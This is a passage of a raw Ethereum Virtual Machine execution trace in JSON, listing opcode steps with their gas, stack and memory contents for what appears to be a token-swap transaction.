00000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15362,"op":"PUSH2","gas":101383,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0","0x2123","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15365,"op":"JUMPI","gas":101380,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0","0x2123","0x0","0x0","0x1","0x3c0d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15373,"op":"JUMPDEST","gas":101370,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0","0x2123","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15374,"op":"POP","gas":101369,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0","0x2123","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15375,"op":"PUSH1","gas":101367,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0","0x2123","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15377,"op":"ADD","gas":101364,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0","0x2123","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15378,"op":"SWAP1","gas":101361,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0","0x2123","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15379,"op":"JUMP","gas":101358,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0","0x1","0x2123"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8483,"op":"JUMPDEST","gas":101350,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8484,"op":"SWAP2","gas":101349,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8485,"op":"POP","gas":101346,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8486,"op":"POP","gas":101344,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8487,"op":"PUSH2","gas":101342,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8490,"op":"JUMP","gas":101339,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x207b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8315,"op":"JUMPDEST","gas":101331,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8316,"op":"PUSH1","gas":101330,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8318,"op":"DUP4","gas":101327,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8319,"op":"MLOAD","gas":101324,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8320,"op":"PUSH2","gas":101321,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8323,"op":"SWAP2","gas":101318,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x1","0x2","0x2089"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8324,"op":"SWAP1","gas":101315,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x2089","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8325,"op":"PUSH2","gas":101312,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x2089","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8328,"op":"JUMP","gas":101309,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x1","0x2089","0x1","0x2","0x3b1a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8